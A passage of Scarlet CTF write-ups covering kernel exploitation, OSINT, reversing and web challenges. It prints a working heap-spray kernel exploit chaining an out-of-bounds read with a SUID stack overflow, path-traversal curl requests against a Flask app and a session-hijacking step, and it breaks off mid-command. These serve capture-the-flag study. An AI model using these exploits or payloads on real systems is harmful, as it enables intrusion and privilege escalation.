    unsigned char secret[80];   // 80 bytes
} anticheat_blk;  // Total: 164 bytes
```

**Bug 1: Unbounded seek in `secret_seek()`**

```c
case SEEK_SET:
    new_pos = new_offset;  // No bounds check!
    break;
```

**Bug 2: Integer underflow in `get_blk_if_safe()`**

```c
if(*offset + *num > SECRET_SIZE) {
    *num = min(SECRET_SIZE, (size_t)(SECRET_SIZE - *offset));
}
```

When `offset > 80`, the expression `SECRET_SIZE - *offset` becomes negative, but when cast to `size_t`, it becomes a huge positive number. The `min()` then returns 80, allowing us to read/write 80 bytes at arbitrary offsets past the `secret` buffer.

**Bug 3: Stack buffer overflow in example1**

The SUID binary `example1` reads user-provided offset, seeks to it, then reads from the anticheat device into a 10-byte stack buffer. With the OOB bug, the kernel copies 80 bytes, overflowing the stack and overwriting the return address at byte offset 54.

**Exploitation Strategy**

1. **Sandwich Attack**: Allocate sprayer processes before AND after example1's allocation in the SLAB
   * "Before" sprayers: Will OOB write to clear example1's `secret_locked`
   * "After" sprayers: Will provide payload that example1 reads OOB
2. **Clear secret\_locked**: Example1 locks its secret before reading. We need to clear this flag using OOB write from a "before" sprayer.
3. **Control return address**: Fill "after" sprayer blks with the address of `test()` (0x4011f6), which reads and prints the flag.

**Key Calculations**

The SLAB allocator uses **256-byte objects** for the 164-byte struct.

**To clear next blk's secret\_locked (S=256):**

* Target: `next_blk + 80`
* Write at: `our_blk + 84 + offset = our_blk + 256 + 80`
* Offset: `256 + 80 - 84 = 252`

**For example1's OOB read (S=256):**

* Read at offset 178 reads from `example1_blk + 84 + 178 = example1_blk + 262 = next_blk + 6`
* Byte 54 of the 80-byte read corresponds to `next_blk + 60`, which hits our payload at a proper 8-byte boundary

**Final Exploit**

```c
#define TEST_ADDR 0x4011f6UL  // Address of test() function

// Sprayer BEFORE example1: clears secret_locked
void spray_before(int ready_fd) {
    int fd = open("/proc/anticheat", O_RDWR);
    write(ready_fd, "R", 1);
    pause();  // Wait for signal

    // OOB write at offset 252 to clear next blk's secret_locked
    char zbuf[80] = {0};
    for (int i = 4; i < 80; i += 8)
        *(uint64_t*)(zbuf + i) = TEST_ADDR;
    lseek(fd, 252, SEEK_SET);
    write(fd, zbuf, 80);
    pause();
}

// Sprayer AFTER example1: provides payload
void spray_after(int ready_fd) {
    int fd = open("/proc/anticheat", O_RDWR);

    uint64_t addr = TEST_ADDR;
    char buf[80];
    for (int i = 0; i < 80; i += 8)
        *(uint64_t*)(buf + i) = addr;

    // Fill secret and blocking_fd with return address
    lseek(fd, 0, SEEK_SET);
    write(fd, buf, 80);
    lseek(fd, -80, SEEK_SET);
    write(fd, buf, 80);

    write(ready_fd, "R", 1);
    pause();
}

int main() {
    // 1. Allocate 15 "before" sprayers
    for (int i = 0; i < 15; i++) {
        fork() → spray_before();
    }

    // 2. Start example1 (allocates blk 15)
    fork() → execl("/home/amels/example1", ...);

    // 3. Allocate 15 "after" sprayers
    for (int i = 0; i < 15; i++) {
        fork() → spray_after();
    }

    // 4. Signal "before" sprayers to clear secret_locked
    for (i = 0; i < 15; i++) kill(before_pids[i], SIGUSR1);

    // 5. Send offset 178 to example1 to trigger overflow
    write(ex_pipe, "178\n", 4);
}
```

**Execution Flow**

1. Sprayer 14 is adjacent to example1's blk
2. Sprayer 14's OOB write at offset 252 clears example1's `secret_locked`
3. Example1 seeks to offset 178 and reads 80 bytes
4. Due to OOB, it reads from the next SLAB object (sprayer 0 of "after" set)
5. The 80-byte read overflows the 10-byte stack buffer
6. Return address at byte 54 is overwritten with 0x4011f6
7. `main()` returns to `test()` which opens and prints `/flag.txt`

```
$ /mnt/exploit
[*] Exploit v7 - sandwich attack
[*] Allocating 15 'before' sprayers...
[*] Starting example1...
[*] Allocating 15 'after' sprayers...
[*] Signaling 'before' sprayers to clear secret_locked...
[*] Sending offset 178...
Read 80 of the secret
Here's something SUPER cool: 0x4011f6
RUSEC{k3rnel_p4nic_n0t_sp4cetiming}
```

#### Flag

`RUSEC{k3rnel_p4nic_n0t_sp4cetiming}`

***

### MelStudios/Revenge (Level 5)

#### Description

**Points:** 495 **Solves:** 6 **Author:** mel

> So, apparently there was something up with the emulator...? :0
>
> Turns out, she fixed it. Something with an escape character. Whatever, she fixed it now.
>
> (Use the same files as Melstudios Level4)

#### Solution

Level 5 mentions that an "escape character" vulnerability was fixed on the server side. However, the kernel module and VM configuration remain identical to Level 4.

Since our exploit targets the **kernel vulnerability** (OOB read/write in the anticheat module) rather than any server-side URL handling bugs, the exact same exploit works unchanged.

```
$ /mnt/exploit
[*] Exploit v7 - sandwich attack
[*] Allocating 15 'before' sprayers...
[*] Starting example1...
[*] Allocating 15 'after' sprayers...
[*] Signaling 'before' sprayers to clear secret_locked...
[*] Sending offset 178...
Read 80 of the secret
Here's something SUPER cool: 0x4011f6
RUSEC{w0w_you_just_pwn3d_m3lstudios}
```

**Key Insight:** The "escape character" fix only patched a potential command injection in the server's URL download mechanism. The actual kernel pwn path remains exploitable on both levels.

#### Flag

`RUSEC{w0w_you_just_pwn3d_m3lstudios}`

### Amels (Level0)

#### Description

Haii!! I need your help! `>_>`

There's this microcelebrity girlypop game developer called [Amels](https://amels.itch.io/) I'm really fond of. I've been following her work **EXTENSIVELY!** on her social media!! (Call me a big fan)

(She hates alot of common social medias like Instagram, Twitter, etc., so it was really hard to find it `>_<`)

However, there's this new game that I really, **REALLY** want to play!! I've heard, from what she's been saying, that it's called `SpaceTime`, but I can't seem to find it anywhere! I'm not that much of an OSINT GOD like u seem to be, could u maybe help me figure it out? :c

Can you find the listing of the game and gain access to it? Pweeese!! I neeed to play it :(

#### Solution

We're given an itch.io profile for a game developer called "Amels" and told they have a presence on a "non-mainstream" social media platform. The goal is to find the password to access the password-protected game at <https://amels.itch.io/spacetime>.

**Step 1: Find the social media profile**

Starting from the itch.io profile, we need to search for "amels" on various non-mainstream platforms. Since the challenge hints that the developer hates common social media like Instagram and Twitter, we focus on alternative platforms.

Searching on Bluesky, we find the profile **amels-games** (`bsky.app/profile/amels-games.bsky.social`).

**Step 2: Discover the YouTube channel**

Using the Wayback Machine (archive.org), we can find archived snapshots that reveal a link to the developer's YouTube channel associated with the Bluesky profile.

**Step 3: Find the password**

On the YouTube channel, there's an accidental paste containing the password in plain text:

```
cash-starting-distant-liable-placard
```

**Step 4: Access the game**

Navigate to <https://amels.itch.io/spacetime> and enter the password `cash-starting-distant-liable-placard` to unlock the game page and retrieve the flag.

#### Flag

`RUSEC{d0wnlo4d_y0ur_fr33_c0py_t0day!}`

***

## osint

### Scouts Honor 2.0

#### Description

This OSINT challenge consists of two parts.

**Part 1:**\
Identify a childhood magazine published by a historic civic organization using the clues:

* Mentions of the Olympics
* A funny mail burro who loves alfalfa
* Something called “Cheetah Hunt”

Then find the ISSN number of that magazine.

**Part 2:**\
Find a World War I era newspaper from one of the three Rutgers University campus cities:

* New Brunswick
* Newark
* Camden

The newspaper must mention a historic boy-led organization and state that **General McAlpin** was its President.

Flag format: RUSEC{ISSN-1234-5678\_NAME-OF-NEWSPAPER}

***

#### Solution

***

**Part 1 — The Magazine**

The challenge mentions a “historic civic organization,” which strongly points to the **Boy Scouts of America**.

Their long-running magazine is **Boys’ Life**, first published in 1911 (renamed *Scout Life* in 2021).

**Clue Matching**

Each clue matches known Boys’ Life content:

* **Mail burro who loves alfalfa**\
  This refers to **Pedro the Mailburro**, Boys’ Life’s long-running mascot since 1947.\
  Pedro appears in comic strips and reader mail sections and is famous for loving alfalfa.
* **Olympics**\
  Boys’ Life regularly publishes Olympic features and athlete spotlights (for example, London 2012 coverage).
* **“Cheetah Hunt”**\
  This refers to a feature on the *Cheetah Hunt* roller coaster at Busch Gardens Tampa, which opened in 2011 and was covered in youth magazines.

Together, these clues clearly identify **Boys’ Life**.

**ISSN**

Looking up Boys’ Life in the ISSN Portal and library catalogs gives:

**Boys’ Life (Print) ISSN: 0006-8608**

So Part 1 = `ISSN-0006-8608`

***

**Part 2 — The Newspaper**

The “historic boy-led organization” mentioned is the **American Boy Scouts**, later renamed the **United States Boy Scouts (USBS)**.\
This was a rival organization to the Boy Scouts of America, founded in 1910.

**General McAlpin**

* **General Edwin A. McAlpin**
* President and Chief Scout of the American Boy Scouts / USBS
* Served until his death in April 1917 (during World War I)

So the newspaper must be from the WWI era and mention McAlpin as President.

***

**Rutgers Campus Cities**

Rutgers campuses are located in:

* New Brunswick, NJ
* Newark, NJ
* Camden, NJ

The newspaper must originate from one of these cities.

***

**Finding the Newspaper**

Searching digitized WWI-era New Jersey newspapers leads to a Camden labor newspaper called:

> **The Voice of Labor** (Camden, New Jersey)

This paper ran from 1915–1917 and covered national political and civic issues.\
A 1916 issue contains an article referencing:

> “General McAlpin, President of the U.S. Boy Scouts…”

This directly matches the challenge description:

* WWI era
* Rutgers campus city (Camden)
* Mentions General McAlpin as President
* Mentions the historic boy-led organization

Therefore, the newspaper is:

**The Voice of Labor**

***

#### Flag

`RUSEC{ISSN-0006-8608_THE-VOICE-OF-LABOR}`

### Revenge of the 67

#### Description

An OSINT challenge where a prisoner describes being shot and captured. They mention that a "leader" tried to make a web exploitation challenge for the CTF but didn't finish, so the infrastructure was taken down. However, some DNS records might still exist. The challenge hints to look for the leader's name in lowercase with honoraries removed (e.g., "King Ben Swolo" → "ben\_swolo").

#### Solution

1. **Identify the CTF domain**: The challenge is from Scarlet CTF, hosted by RUSEC (Rutgers Security Club) at `ctf.rusec.club`.
2. **Decode the "67" reference**: "Revenge of the 67" is a play on "Revenge of the Sith" (Star Wars Episode III). In Star Wars, Order 66 was the command to kill the Jedi. Order 67 is a joke reference from LEGO Star Wars. This hints at Star Wars characters.
3. **Identify the "leader"**: The challenge mentions looking for a name with "honoraries removed." In Star Wars, "General Grievous" is a military leader. Removing the honorary title "General" gives us "grievous".
4. **Query DNS TXT records**: Check for TXT records at `grievous.ctf.rusec.club`:

```bash
dig txt grievous.ctf.rusec.club @8.8.8.8 +short
```

Output:

```
"I recon March 25 2026 will be an interesting date."
"RUSEC{HELP-THEY-PUT-ME-IN-A-DNS-RECORD}"
```

#### Flag

`RUSEC{HELP-THEY-PUT-ME-IN-A-DNS-RECORD}`

### Stuck In The Middle With You

#### Description

We're trying to figure out how to track this Tor traffic but all we've got is this string, `A68097FE97D3065B1A6F4CE7187D753F8B8513F5`! We don't know what to do with it. We're looking for someone responsible for hosting multiple nodes. Can you find the IPv4 addresses this node and any of its effective family members?

FLAG FORMAT: `RUSEC{family_ip1:family_ip2:...:family_ipX}` for X family members

The flag will be the IPs of the node and all the associated family members **in order of oldest node to youngest**, based on when they were first seen, separated by colons.

#### Solution

The string `A68097FE97D3065B1A6F4CE7187D753F8B8513F5` is a 40-character hexadecimal string, which is the format used for Tor relay fingerprints.

**Step 1: Look up the relay fingerprint**

Using the Onionoo API (Tor's official relay information service), we can query this fingerprint:

```
https://onionoo.torproject.org/details?lookup=A68097FE97D3065B1A6F4CE7187D753F8B8513F5
```

This reveals the relay "olabobamanmu" with:

* IPv4: 51.15.40.38
* First seen: 2020-04-03
* Effective family members (3 total):
  * 414E64BA607560F9D9C196A825950DC968700420
  * A68097FE97D3065B1A6F4CE7187D753F8B8513F5
  * B4CAFD9CBFB34EC5DAAC146920DC7DFAFE91EA20

**Step 2: Query the other family members**

Looking up each fingerprint via Onionoo:

| Fingerprint                              | Nickname         | IPv4 Address  | First Seen |
| ---------------------------------------- | ---------------- | ------------- | ---------- |
| B4CAFD9CBFB34EC5DAAC146920DC7DFAFE91EA20 | netimanmu        | 212.47.233.86 | 2019-02-18 |
| A68097FE97D3065B1A6F4CE7187D753F8B8513F5 | olabobamanmu     | 51.15.40.38   | 2020-04-03 |
| 414E64BA607560F9D9C196A825950DC968700420 | kanemeadminmanmu | 151.115.73.55 | 2024-12-29 |

All relays belong to the same operator (giannoug.gr domain) and are hosted on Scaleway infrastructure.

**Step 3: Order by first seen date (oldest to youngest)**

1. 212.47.233.86 (netimanmu) - 2019-02-18 (OLDEST)
2. 51.15.40.38 (olabobamanmu) - 2020-04-03
3. 151.115.73.55 (kanemeadminmanmu) - 2024-12-29 (YOUNGEST)

**Flag:** `RUSEC{212.47.233.86:51.15.40.38:151.115.73.55}`

### Frog Finder

#### Description

A frog appeared in the ScarletCTF Discord. Identify its name and its wealth. Flag format: `RUSEC{NAME_MONEY}`.

#### Solution

We pulled the user’s Discord avatar (WebP) from the CDN and inspected it locally:

```bash
ls -l 1f710850d81f3ceaf5ea39c5a190090b.webp
python - <<'PY'
from PIL import Image
img = Image.open('1f710850d81f3ceaf5ea39c5a190090b.webp')
img.save('avatar.png')
print(img.size, img.mode)
PY
```

Opening `avatar.png` shows a pixel-art frog with a red mouth. To identify it, we compared against Lufia II monster sprites. The match is the **King Frog** sprite from Lufia II (same pose and colors). To retrieve its stats, we queried the RPGClassics Lufia II monster list and parsed the Sea enemies page:

```bash
python - <<'PY'
import requests
from bs4 import BeautifulSoup

url = "https://shrines.rpgclassics.com/snes/lufia2/monsters/sea.shtml"
html = requests.get(url, timeout=20).text
soup = BeautifulSoup(html, "html.parser")
table = next(t for t in soup.find_all("table") if t.find(string=lambda s: s and "Monster Name" in s))
for tr in table.find_all("tr"):
    tds = tr.find_all("td")
    if tds and tds[0].get_text(strip=True) == "King Frog":
        cols = [td.get_text(" ", strip=True) for td in tds]
        print(cols)
        break
PY
```

Output includes the King Frog row with Gold value `350`:

```
['King Frog', '', '160/78', '142/92', 'Chorus', '402', '350', 'Regain(100)']
```

#### Flag

`RUSEC{KINGFROG_350}`

### Scarlet History

#### Description

An image of a historic Victorian mansion is provided. Identify the building to find the flag.

#### Solution

The challenge provides `Scarlet_History.jpg`, showing a Victorian-style mansion with distinctive architectural features.

**Step 1: Reverse Image Search**

Using Google Reverse Image Search on the provided image identifies the building as the **James Van Middlesworth House**, a historic Victorian mansion located on the Douglass Campus at Rutgers University in New Brunswick, New Jersey.

The house has been repurposed and now serves as the **Douglass Writing Center**.

#### Flag

`RUSEC{DOUGLASS_WRITING_CENTER}`

### So, you think you're good at Geolocation?

#### Description

A cybercriminal on the run posts an obfuscated selfie while hiking. We need to find the what3words location of the rail crossing visible in the image.

<figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FkEo7E7YCYQjFH04sG37l%2Fpost.png?alt=media&#x26;token=46f62a82-6288-42e2-8a28-c86c5605aee5" alt="" width="375"><figcaption></figcaption></figure>

#### Solution

The image `post.png` shows an anime-style scene with several key geographic indicators:

* Ski slopes/resort in the background
* Power transmission lines
* Railroad tracks crossing a road
* Mountain scenery

**Step 1: Identify the Region**

The ski resort and mountain terrain suggest a location in British Columbia, Canada - specifically the Whistler area, which is known for skiing and has both railway and power infrastructure.

**Step 2: Locate Power Lines**

Using [Open Infrastructure Map](https://openinframap.org/), we can identify high-voltage transmission lines in the Whistler/Squamish corridor area. The power lines in the image match the BC Hydro transmission infrastructure running through this region.

**Step 3: Find Railway Crossings**

Using [OpenRailwayMap](https://www.openrailwaymap.org/), we can identify railway lines in the same area. The CN Rail line runs through this corridor, and there are several level crossings where roads intersect the tracks.

**Step 4: Cross-Reference with Ski Resorts**

Looking at ski resort locations in British Columbia, we can narrow down to areas where:

* Power transmission lines are visible
* Railway tracks cross roads
* Ski slopes are visible in the background

**Step 5: Identify the Exact Location**

By correlating all three datasets (power lines, railway crossings, and proximity to ski resorts), we identify the rail crossing location and navigate to it on what3words.com.

The rail crossing is located at the what3words address: `makers.interesting.mystic`

#### Flag

`RUSEC{makers.interesting.mystic}`

Note: the above was written by AI and too tired to fix up but basically the key features are the style of the power pylon, the style of the crossroad sign which is only in Canada, the mountain in the back, and the fact that skiing is nearby. Here are the relevant pictures. While we're looking around we get a feel for which power line corresponds with that power pylon (it's the red one), and we look around ski resorts which is the last image.

<div><figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2F1AryTCTc4G3nIt6ZW6xg%2F2026.01.11-00.20.29.png?alt=media&#x26;token=5129c781-8798-4d4b-b55f-08c8debb955e" alt=""><figcaption></figcaption></figure> <figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FqkCfen01cczU0aJEd18X%2F2026.01.11-00.20.41.png?alt=media&#x26;token=1d93820b-3783-4cbd-abc2-a5712a651612" alt=""><figcaption></figcaption></figure> <figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FWJwmHmvJCiBKx0zyHCwb%2F2026.01.11-00.21.12.png?alt=media&#x26;token=99be96d1-706f-4a52-8fa3-d7168bf70bf1" alt=""><figcaption></figcaption></figure> <figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FJj0RN5W4Hj0bO6PvmPnO%2F2026.01.11-00.21.47.png?alt=media&#x26;token=020f4812-fc42-40c9-bfbb-08c78bcceab5" alt=""><figcaption></figcaption></figure></div>

***

## readme

### Rule Follower

#### Description

Welcome to **Scarlet CTF**!

This should be pretty easy for your first flag! All you gotta do is just make sure you read the rules :)

`nc challs.ctf.rusec.club 62075`

#### Solution

Connecting to the server presents a trivia game about CTF rules with 10 TRUE/FALSE questions:

1. You are NOT allowed to compromise/pentest our CTF platform (rCTF, scoreboard, etc.) - **TRUE**
2. Flag sharing (sharing flags to someone not on your team) is NOT allowed - **TRUE**
3. If you have a question regarding the CTF, you ping the admins or DM them - **FALSE** (You make a ticket)
4. Asking for help from other people (not on your team) for challenges is allowed if you're stuck - **FALSE**
5. You are allowed to use automated scanners/fuzzing/bruteforcing whenever you wish with NO restrictions - **FALSE** (Only when a challenge specifically requires it)
6. Your teams can be of unlimited size - **TRUE**
7. You are allowed to do ACTIVE attacking during OSINT (i.e: contacting potential targets), not just passive, when you feel it is necessary - **FALSE** (OSINT is strictly passive)
8. PASSIVE OSINT techniques are allowed on general RUSEC infrastructure only when EXPLICITLY given specific permission to by a challenge - **TRUE**
9. ACTIVE techniques (i.e: pentesting) are allowed on general RUSEC infrastructure at any time - **FALSE** (Never allowed)
10. Official writeups will be posted at the end of the competition - **TRUE**

Answering all questions correctly with `T T F F F T F T F T` reveals the flag.

#### Flag

`RUSEC{you_read_the_rules}`

***

## rev

### first\_steps

#### Description

Find the flag hidden in the binary!

**Category:** Rev **Points:** 100 **Solves:** 180 **Author:** s0s.sh

#### Solution

This is a beginner reverse engineering challenge. Running the binary gives us a hint:

```
I was up late last night exploring the .rodata section, but I seem to have lost my flag!
I'm sure it's around here somewhere... Can you find it for me? <3
```

The hint directly points to the `.rodata` section (read-only data section in ELF binaries). We can dump this section using `objdump`:

```bash
objdump -s -j .rodata first_steps
```

This reveals the flag stored as a plaintext string in the binary:

```
2030 7330732e 73682f00 52555345 437b7765  s0s.sh/.RUSEC{we
2040 6c6c5f74 6834745f 7761735f 655a5f57  ll_th4t_was_eZ_W
2050 6c6c776e 5a4d6a4d 436a7143 7379584e  llwnZMjMCjqCsyXN
2060 6e727470 446f6d57 4d557d00 00000000  nrtpDomWMU}.....
```

Alternative methods to find the flag:

* `strings first_steps | grep RUSEC`
* Opening the binary in a hex editor and searching for "RUSEC"
* Using a disassembler like Ghidra or IDA to view the `.rodata` section

#### Flag

`RUSEC{well_th4t_was_eZ_WllwnZMjMCjqCsyXNnrtpDomWMU}`

### court\_jester

#### Description

A reverse engineering challenge where we analyze a binary that displays an ASCII art jester juggling. The binary uses inter-process communication (IPC) via pipes between parent and child processes to encode/decode data. The hint "(0x2c)" in the output points to the XOR key needed to decode the flag.

#### Solution

1. **Initial Analysis**: Running the binary shows an ASCII art jester with the hint `(0x2c)` displayed prominently. Using `file` reveals it's a 64-bit ELF binary.
2. **Tracing System Calls**: Using `strace -f` to trace the binary reveals:
   * The binary forks into parent and child processes
   * They communicate via pipes (parent writes to fd 6, reads from fd 3; child reads fd 5, writes to fd 4)
   * Three exchanges of 20 bytes each occur
3. **Analyzing the IPC Data**: The exchanges show:
   * Parent sends encrypted data chunks
   * Child responds with XOR-decrypted data
   * The XOR relationship between parent/child shows alternating 2-byte keys: `[0xCA, 0xB1]`, `[0xD6, 0xC9]`, `[0xAA, 0x07]`
4. **Decoding with the 0x2c Hint**: The "(0x2c)" displayed in the output is the key hint - 0x2c is the ASCII code for comma (`,`). XORing all child responses with 0x2c reveals the flag:

```python
child_responses = [
    b"~y\x7fioWEs_Y\\\\C_\x1fsUCYs",
    b"\x1cYXFYKK@\x1fHsAIs`gbkjy",
    b"\x1f\x14\x15tuzkx\x7f\x1bcb`iy\x18hagQ",
]

full = b"".join(child_responses)
decoded = bytes([b ^ 0x2c for b in full])
# Result: RUSEC{i_suppos3_you_0utjuggl3d_me_LKNGFU389XYVGTS7ONLEU4DMK}
```

5. **Understanding the Theme**: The description mentions the jester "juggles data all wrong" - this is reflected in the flag where the first part is readable ("i\_suppos3\_you\_0utjuggl3d\_me\_") but the suffix appears scrambled (`LKNGFU389XYVGTS7ONLEU4DMK`). This scrambled suffix is intentional, representing the jester's "wrong juggling" of data.

#### Flag

`RUSEC{i_suppos3_you_0utjuggl3d_me_LKNGFU389XYVGTS7ONLEU4DMK}`

### brainfkd

#### Description

A 64k Brainfuck program validates a 36-byte flag of the form `RUSEC{...}`. Initial tracing suggested comparing transformed input at `tape[257..292]` against a constant string at `tape[293..328]`, but solving on that block hits dead ends. The goal is to reverse the actual transformation and recover the flag.

#### Solution

Key observations:

* Each output position depends only on its corresponding input byte (no cross-position interaction). Flipping one input byte only changes the matching output cell.
* The program writes several constant ASCII blocks to the tape. The comparison target is not the `tape[293..328]` string; scanning the tape with zero input reveals another 36-byte printable window at `tape[473..508]` that fits the `RUSEC{}` shape under the per-position mappings.

Approach:

1. Build a fast BF runner and precompute `f_i(v)` for every position `i` (0–35) and byte `v` (0–255) by running the program with all inputs set to `v` and recording `tape[257..292]`.
2. Run once with zero input, scan all 36-byte windows of the tape, and look for a window where the mappings can produce `RUSEC{` at positions 0–5 and `}` at position 35. Only `tape[473..508]` matches.
3. For each position, pick any printable byte that maps to the target byte at `tape[473+i]`, enforcing the prefix/suffix.

#### Flag

`RUSEC{g0d_im_s0_s0rry_for_th1s_p4in}`

#### Solver

Relevant solver (`solve_flag.c`):

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define INPUT_LEN 36
#define TAPE_SIZE 3000

static char *load_bf(const char *path, int *out_len) {
    FILE *f = fopen(path, "rb");
    if (!f) { perror("fopen"); exit(1); }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    char *buf = malloc(sz + 1);
    if (!buf) { perror("malloc"); exit(1); }
    fread(buf, 1, sz, f);
    fclose(f);
    buf[sz] = '\0';

    char *bf = malloc(sz + 1);
    if (!bf) { perror("malloc"); exit(1); }
    int n = 0;
    for (long i = 0; i < sz; i++) {
        char c = buf[i];
        if (c=='>' || c=='<' || c=='+' || c=='-' || c=='.' || c==',' || c=='[' || c==']') {
            bf[n++] = c;
        }
    }
    free(buf);
    *out_len = n;
    return bf;
}

static int *build_match(const char *bf, int n) {
    int *match = malloc(sizeof(int)*n);
    int *stack = malloc(sizeof(int)*n);
    int sp = 0;
    if (!match || !stack) { perror("malloc"); exit(1); }
    for (int i=0;i<n;i++) match[i] = -1;
    for (int i=0;i<n;i++) {
        if (bf[i] == '[') stack[sp++] = i;
        else if (bf[i] == ']') {
            if (sp == 0) { fprintf(stderr, "unmatched ] at %d\n", i); exit(1); }
            int j = stack[--sp];
            match[i] = j;
            match[j] = i;
        }
    }
    if (sp != 0) { fprintf(stderr, "unmatched [\n"); exit(1); }
    free(stack);
    return match;
}

static void run_bf(const char *bf, int n, const int *match, const unsigned char *input, unsigned char *tape_out) {
    unsigned char tape[TAPE_SIZE];
    memset(tape, 0, sizeof(tape));
    int ptr = 0, ip = 0, inp_idx = 0;
    while (ip < n) {
        char c = bf[ip];
        switch (c) {
            case '>': ptr++; break;
            case '<': ptr--; break;
            case '+': tape[ptr]++; break;
            case '-': tape[ptr]--; break;
            case ',': tape[ptr] = (inp_idx < INPUT_LEN) ? input[inp_idx++] : 0; break;
            case '[': if (tape[ptr] == 0) ip = match[ip]; break;
            case ']': if (tape[ptr] != 0) ip = match[ip]; break;
            default: break;
        }
        ip++;
    }
    memcpy(tape_out, tape, TAPE_SIZE);
}

int main(void) {
    int n = 0;
    char *bf = load_bf("program.txt", &n);
    int *match = build_match(bf, n);

    unsigned char tape[TAPE_SIZE];
    unsigned char input[INPUT_LEN];
    unsigned char f[INPUT_LEN][256];

    // precompute f_i(v)
    for (int v=0; v<256; v++) {
        for (int i=0;i<INPUT_LEN;i++) input[i] = (unsigned char)v;
        run_bf(bf, n, match, input, tape);
        for (int i=0;i<INPUT_LEN;i++) f[i][v] = tape[257+i];
    }

    // target window at offset 473 from zero-input run
    memset(input, 0, sizeof(input));
    run_bf(bf, n, match, input, tape);
    const int offset = 473;
    unsigned char target[INPUT_LEN];
    memcpy(target, tape + offset, INPUT_LEN);

    char flag[INPUT_LEN + 1]; flag[INPUT_LEN] = '\0';
    for (int i=0;i<INPUT_LEN;i++) {
        int chosen = -1;
        if (i < 6) {
            unsigned char ch = (unsigned char)"RUSEC{"[i];
            if (f[i][ch] == target[i]) chosen = ch;
        } else if (i == INPUT_LEN - 1) {
            unsigned char ch = (unsigned char)'}';
            if (f[i][ch] == target[i]) chosen = ch;
        }
        if (chosen == -1) {
            for (int v=32; v<=126; v++) {
                if (f[i][v] == target[i]) { chosen = v; break; }
            }
        }
        if (chosen == -1) { fprintf(stderr, "no printable for pos %d\n", i); return 1; }
        flag[i] = (char)chosen;
    }

    printf("Flag: %s\n", flag);
    free(match); free(bf);
    return 0;
}
```

***

## web

### Commentary

#### Description

You're currently speaking to my favorite **host** right now (ctf.rusec.club), but who's to say you even had to speak with one?

Sometimes, the treasure to be found is just bloat that people forgot to remove.

#### Solution

The challenge hints at HTTP Host header manipulation with the bold emphasis on **host** and the phrase "who's to say you even had to speak with one?" suggesting we shouldn't need a Host header at all.

Additionally, "bloat that people forgot to remove" suggests looking for leftover files or content.

When a web server like nginx hosts multiple virtual hosts, it uses the HTTP `Host` header to determine which site to serve. In HTTP/1.1, the Host header is mandatory. However, in HTTP/1.0, the Host header is not required.

By making an HTTP/1.0 request without a Host header to port 80, nginx falls back to serving its default page since it cannot determine which virtual host to route the request to:

```bash
echo -e "GET / HTTP/1.0\r\n\r\n" | nc ctf.rusec.club 80
```

This returns the default nginx welcome page, which contains an HTML comment with the flag:

```html
<!-- you found me :3 --!>
<!-- RUSEC{truly_the_hardest_ctf_challenge} --!>
```

The "bloat people forgot to remove" refers to the default nginx page and the HTML comments containing the flag that the administrators forgot to clean up or disable.

#### Flag

`RUSEC{truly_the_hardest_ctf_challenge}`

### SWE Intern at Girly Pop Inc

#### Description

Last week we fired an intern at Girlie Pop INC for stealing too much food from the office. It seems they didn't know much about secure software development either...

The challenge presents a JWT token generation web application at `https://girly.ctf.rusec.club`.

#### Solution

**Step 1: Initial Reconnaissance**

The main page shows a JWT Studio application with navigation links:

* `/view?page=docs.html` - API Documentation
* `/view?page=about.html` - System Status

The docs mention the `/view` endpoint is "restricted to the `static` directory for security." The System Status page mentions "Automated via Git-Hooks" deployment.

**Step 2: Exploit Path Traversal**

The `/view` endpoint is vulnerable to path traversal. Test it:

```bash
curl "https://girly.ctf.rusec.club/view?page=../app.py"
```

This returns the Flask source code:

```python
app.config['SECRET_KEY'] = 'f0und_my_k3y_1_gu3$$'

@app.route('/view')
def view():
    page = request.args.get('page')
    # Bug: computes target_path but never validates against it
    target_path = os.path.abspath(os.path.join(base_dir, 'static', page))
    file_path = os.path.join('static', page)  # Uses unvalidated path
    return send_file(file_path)
```

**JWT Key Found:** `f0und_my_k3y_1_gu3$$`

This key could be used to forge JWT tokens with arbitrary claims (e.g., `role: admin`), but no protected endpoints exist in this challenge.

**Step 3: Enumerate Git Repository**

The "Git-Hooks" hint suggests a `.git` directory might be exposed:

```bash
curl "https://girly.ctf.rusec.club/view?page=../.git/config"
```

This confirms the Git repo is accessible and reveals the branch name.

**Step 4: Extract the Flag**

The intern committed sensitive files to the repository. Read the README:

```bash
curl "https://girly.ctf.rusec.club/view?page=../README.md"
```

Output contains the flag directly:

```
Flag: RUSEC{a1way$_1gnor3_3nv_f1l3s_up47910k390cyhu623}
```

#### Key Vulnerabilities

1. **Path Traversal (CWE-22)**: The `/view` endpoint fails to validate the `page` parameter, allowing `../` sequences to access arbitrary files.
2. **Exposed Git Repository**: The `.git` directory is web-accessible, leaking source code and commit history.
3. **Hardcoded Secrets**: JWT secret key in source code instead of environment variables.
4. **Sensitive Data in Git**: The flag was committed to README.md in the repository.

#### Flag

`RUSEC{a1way$_1gnor3_3nv_f1l3s_up47910k390cyhu623}`

The flag message "always ignore env files" references the security practice of adding `.env` files to `.gitignore` to prevent committing secrets to version control.

### Campus One

#### Description

Access the admin panel and retrieve the hidden flag from the backend.

#### Solution

**Step 1: Discover Debug Endpoint**

Fuzzing the API reveals an exposed debug endpoint:

```
GET /api/debug/sessions
```

Response:

```json
{
  "sessions": [
    {"user": "guest", "session_id": "abc123..."},
    {"user": "admin", "session_id": "9f8e7d6c5b4a3210..."}
  ]
}
```

**Step 2: Session Hijacking**

Use the leaked admin session token to access the admin panel:

```bash
curl "https://campusone.ctf.rusec.club/admin" \
